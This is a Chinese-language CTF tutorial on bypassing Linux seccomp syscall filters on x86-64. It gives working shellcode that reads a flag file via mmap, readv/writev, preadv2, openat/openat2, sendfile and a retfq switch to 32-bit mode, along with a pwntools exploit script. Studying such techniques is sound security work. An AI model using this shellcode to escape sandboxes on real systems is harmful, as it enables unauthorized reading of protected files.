文章目录
- [0x01. execve](#0x01. execve)
- [0x02. execve + read](#0x02. execve + read)
- [0x03. execve + read + write](#0x03. execve + read + write)
-
- [A. sys_pread64 (nr=17)](#A. sys_pread64 (nr=17))
- [B. sys_write64 (nr=18, 不可用)](#B. sys_write64 (nr=18, 不可用))
- [C. sys_readv (nr=19)](#C. sys_readv (nr=19))
- [D. sys_writev (nr=20)](#D. sys_writev (nr=20))
- [E. sys_preadv (nr=295)](#E. sys_preadv (nr=295))
- [F. sys_pwritev (nr=296, 不可用)](#F. sys_pwritev (nr=296, 不可用))
- [G. sys_preadv2 (nr=327)](#G. sys_preadv2 (nr=327))
- [H. sys_pwritev2 (nr=328, 不可用)](#H. sys_pwritev2 (nr=328, 不可用))
- [0x04. execve + open](#0x04. execve + open)
-
- [A. openat (nr=257)](#A. openat (nr=257))
- [B. openat2 (nr=437)](#B. openat2 (nr=437))
- [0x05. execve + open + openat + openat2](#0x05. execve + open + openat + openat2)
- [0x06. 其他](#0x06. 其他)
-
- [A. sendfile (nr=40)](#A. sendfile (nr=40))
在本文中,我们来讨论一下近年来针对seccomp的绕过姿势。本文仅讨论x86-64平台。(来货了来货了)
0x01. execve
这个是最为简单的一类题型,不能直接获得shell,但是可以通过open、read、write三个系统调用将flag文件首先保存到内存之中再输出到控制台。
下面的代码是在内存中不存在"./flag"字符串的情况下绕过execve的orw shellcode:
函数原型:
c
long sys_open(const char __user *filename, int flags, umode_t mode);
long sys_read(unsigned int fd, char __user *buf, size_t count);
long sys_write(unsigned int fd, const char __user *buf, size_t count);
这里对于read和write函数的参数都不需要解释,对于open函数,flags参数表示以何种方式打开文件,0为只读,当open没有创建文件时,mode参数会被忽略,不过最好还是也传入0。
示例:
masm
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor edx, edx
xor esi, esi
push SYS_open
pop rax
syscall
push 3
pop rdi
push 0xFF /* read size */
pop rdx
mov rsi, rsp
push SYS_read
pop rax
syscall
push 1
pop rdi
push 0xFF /* write size */
pop rdx
mov rsi, rsp
push SYS_write
pop rax
syscall
0x02. execve + read
如果题目禁用了read系统调用,但没有禁用open,则可以通过mmap的系统调用将文件内容映射到内存中,再write。
需要注意的是,对于Linux系统调用,6个参数的传递寄存器分别为rdi、rsi、rdx、r10、r8、r9。与Glibc的传参有所不同。
函数原型:
c
long sys_mmap(unsigned long addr, unsigned long len,
unsigned long prot, unsigned long flags,
unsigned long fd, off_t pgoff);
masm
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor edx, edx
xor esi, esi
push SYS_open
pop rax
syscall
mov rdi, 0x10000
mov rsi, 0x1000
mov rdx, 7
push 0x12
pop r10
push 0x3
pop r8
xor r9, r9
push SYS_mmap
pop rax
syscall
push 1
pop rdi
push 0xFF /* write size */
pop rdx
mov rsi, 0x10000
push SYS_write
pop rax
syscall
注意,内核的mmap函数的flag参数和glibc的不太一样,0x10表示映射文件MAP_FILE,0x2表示私有映射MAP_PRIVATE,0x20表示匿名映射MAP_ANONYMOUS。这里需要使用MAP_FILE | MAP_PRIVATE才能完成映射。
上述代码可以成功攻击下面的C代码:
c
#include <sys/mman.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <stddef.h>
int main(){
char* space = mmap((void*)0x600000000000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_SHARED, -1, 0);
read(0, space, 0x1000);
struct sock_filter filter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
BPF_JUMP(BPF_JMP | BPF_JEQ, AUDIT_ARCH_X86_64, 0, 4),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ, 59, 2, 0),
BPF_JUMP(BPF_JMP | BPF_JEQ, 0, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
((void(*)(void))space)();
}
0x03. execve + read + write
如果read和write都被禁用,我们又应该如何应对呢?不要急,这里给出最新版本Linux系统调用的64位系统调用号:传送门
通过pwn constgrep -c amd64 -m ^SYS命令可以查看pwntools预先定义的所有32位与64位的系统调用号符号,这些符号可以用于pwntools脚本的汇编语言字符串中。
我们可以发现,系统调用表中还有pread、pwrite等似乎也可以进行读写的函数。下面就来详细分析一下这些系统调用:
A. sys_pread64 (nr=17)
c
ssize_t pread(int fd, void* buf, size_t count, loff_t pos);
该函数与read函数类似,但参数有4个,第4个为开始读的偏移位置,且使用sys_pread64函数读取完成后,文件指针不会改变。
B. sys_write64 (nr=18, 不可用)
c
ssize_t pwrite(int fd, void* buf, size_t count, loff_t pos);
sys_write64与sys_read64类似,函数写操作完成后,文件指针不会改变。但是对于写操作而言,标准输出不是普通的文件描述符,可以看做一个字符设备,指定pos时写操作会失败。已经经过试验测试得出,sys_write64不能将内存中的内容输出到控制台中。
C. sys_readv (nr=19)
c
ssize_t readv(int fd, const struct iovec *iov, int iovcnt);
readv函数实现了分散输入的功能,即将可以将一个文件描述符的内容写到多个内存缓冲区中。注意这里的"写入到多个内存缓冲区"指的是依次写入,第1个缓冲区写满之后才会接着文件后面的内容继续写第2个缓冲区。
c
struct iovec{
void __user* iov_base;
__kernel_size_t iov_len;
}
这里的vec参数应该是struct iovec结构体的数组,而第三个参数vlen为数组的长度。iovec结构体中,iov_base为一个内存地址,iov_len为内存的长度。因此如果需要使用这个系统调用,需要首先构造iovec结构体实例。在pwn题中,我们只需要构造一个结构体实例即可。
D. sys_writev (nr=20)
c
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
writev函数实现了集中输出的功能,即将iovec结构体数组中的缓冲区内容集中输出到一个文件描述符中。
下面为使用readv函数和writev函数的示例:
masm
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
xor edx, edx
xor esi, esi
push SYS_open
pop rax
syscall
push 3
pop rdi
push 0x1 /* iov size */
pop rdx
push 0x100
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
push SYS_readv
pop rax
syscall
push 1
pop rdi
push 0x1 /* iov size */
pop rdx
push 0x100
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall
E. sys_preadv (nr=295)
c
ssize_t preadv(int fd, const struct iovec *iov, int iovcnt,
off_t offset);
这个函数同时具有pread函数和readv函数的性质,使用iovec*结构体可完成分散输入,同时可设置偏移量且读取后不修改文件指针。其中pos_l指的是读取偏移的低32位,pos_h为高32位。
F. sys_pwritev (nr=296, 不可用)
c
ssize_t pwritev(int fd, const struct iovec *iov, int iovcnt,
off_t offset);
这个函数同时具有pwrite函数和writev函数的性质,这也意味着其无法向标准输出写入内容。
G. sys_preadv2 (nr=327)
c
ssize_t preadv2(int fd, const struct iovec *iov, int iovcnt,
off_t offset, int flags);
这个函数在参数上与preadv的区别是多了一个flags。这个flags的标志位主要针对一些效率、同步方面,直接填0即可。
H. sys_pwritev2 (nr=328, 不可用)
c
ssize_t pwritev2(int fd, const struct iovec *iov, int iovcnt,
off_t offset, int flags);
对于上述系统调用,可以参考资料进行学习。
0x04. execve + open
上述所有读写的系统调用都需要使用文件描述符,但如果禁用了open系统调用,又应该如何获取文件描述符呢?好在,还有其他的系统调用能够获取文件描述符。
A. openat (nr=257)
ssize_t openat(int dfd, const char* filename, int flags, umode_t mode);
参考资料,函数的第一个参数dfd指的是当path为相对路径时,该路径在文件系统中的开始地址(即打开目录获取的文件描述符),但可以指定其为AT_FDCWD(-100),指定路径为当前路径。另外3个参数与open参数相同。openat的返回值与open相同,都是当前正未使用的最小的文件描述符值。
示例代码:
masm
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall
mov rdi, 3
push 0x100
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
mov rdx, 1
xor r10, r10
xor r8, r8
push SYS_preadv2
pop rax
syscall
push 1
pop rdi
push 0x1
pop rdx
push 0x100
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall
B. openat2 (nr=437)
c
ssize_t openat2(int dfd, const char* filename, struct open_how* how, size_t usize);
这个函数封装了三个参数到结构体how中:
c
struct open_how {
__u64 flags;
__u64 mode;
__u64 resolve;
};
dfd与另外3个参数的使用方式与openat相同,resolve指解析路径名所有组件的方式,普通的打开文件操作填0即可。参数size必须为结构体open_how的大小,也就是0x18。
实例代码:
c
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
0x05. execve + open + openat + openat2
如果题目禁用了x64的所有3个打开文件的系统调用,此时还有一种情况使得我们可以成功打开文件并获取文件描述符:当seccomp没有禁用x64的fstat系统调用时,可以通过将程序暂时转换为32位模式再通过open系统调用打开文件,因为32位的open系统调用与64位的不同,32位open的系统调用号为5,对应x64的系统调用表中为fstat系统调用。
retfq指令,在x86-64中可用于将程序从64位长模式转换为32位模式,在转换时需要注意修改栈地址为32位地址,并向栈中保存一些特定值,在64位系统中,cs寄存器的值为0x23时表示当前程序处于32位状态,值为0x33时表示当前程序处于64位状态。在执行retfq指令之前,我们就应该修改rsp,并将0x23和要执行的32位指令地址push进栈。在执行retfq后,程序将自动转到32位环境中工作。在32位代码执行结束后,如果需要返回到64位状态,可通过jmp 0x33:xxxxx ; ret的指令返回到64位代码。
注意:如果在执行retfq时rsp高位的任何值都会被直接舍弃,只取低32位作为新的栈地址,而这个地址通常是不能预先获取的,因此retfq前重新赋值rsp很有必要。
示例:
python
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
shellcode_64_1 = '''
mov rdi, 0x10000
mov rsi, 0x1000
mov rdx, 7
mov r10, 0x21
mov r8, 0xFFFFFFFF
xor r9, r9
push SYS_mmap
pop rax
syscall
cld
mov rcx, 0x200
mov rdi, 0x10000
mov rsi, 0x600000000100
rep movsb
mov rsp, 0x10800
push 0x23
push 0x10000
pop rax
push rax
retfq
'''
shellcode_32 = '''
mov eax, 0x6761
push eax
mov eax, 0x6c662f2e
push eax
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov eax, 5
int 0x80
jmp 0x33:0x10100
ret
'''
shellcode_64_2 = '''
mov rdi, 3
push 0x100
lea rbx, [rsp-8]
push rbx
mov rsi, rsp
mov rdx, 1
xor r10, r10
xor r8, r8
push SYS_preadv2
pop rax
syscall
push 1
pop rdi
push 0x1
pop rdx
push 0x100
lea rbx, [rsp+8]
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall
'''
io = process('./test')
payload = asm(shellcode_64_1).ljust(0x100, b'\0')
payload += asm(shellcode_32, arch='i386', bits=32)
payload = payload.ljust(0x200, b'\0')
payload += asm(shellcode_64_2)
io.send(payload)
io.interactive()
需要注意的是32位的系统调用使用的是int 0x80指令触发,且传参使用的寄存器也有所不同(rbx、rcx、rdx、rsi、rdi)。既然转到32位可以绕过基于系统调用号的检查,那么自然而然地,我们也可以进行扩展,如果禁用了64位的所有read与write,或许也可以通过使用32位的read和write相关系统调用完成读写操作。这一部分就交给读者自行探索。
0x06. 其他
如果题目禁用了所有与read和write相关,也就是上面提到的与读写相关的所有系统调用,我们又应该如何应对呢?实际上seccomp的绕过姿势有很多,这里介绍一下sendfile,至于其他的技巧将在下一篇文章中介绍。
A. sendfile (nr=40)
这是一个很好用的系统调用,它允许将文件数据从一个文件描述符直接发送到另一个文件描述符,而且不需要经过缓冲区拷贝,被称为"零拷贝技术",这一技术也被应用于mmap等系统调用中。可以说这个系统调用用起来比read+write还要简单。
c
ssize_t sendfile(int out_fd, int in_fd, off_t* offset, size_t count);
示例:
masm
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall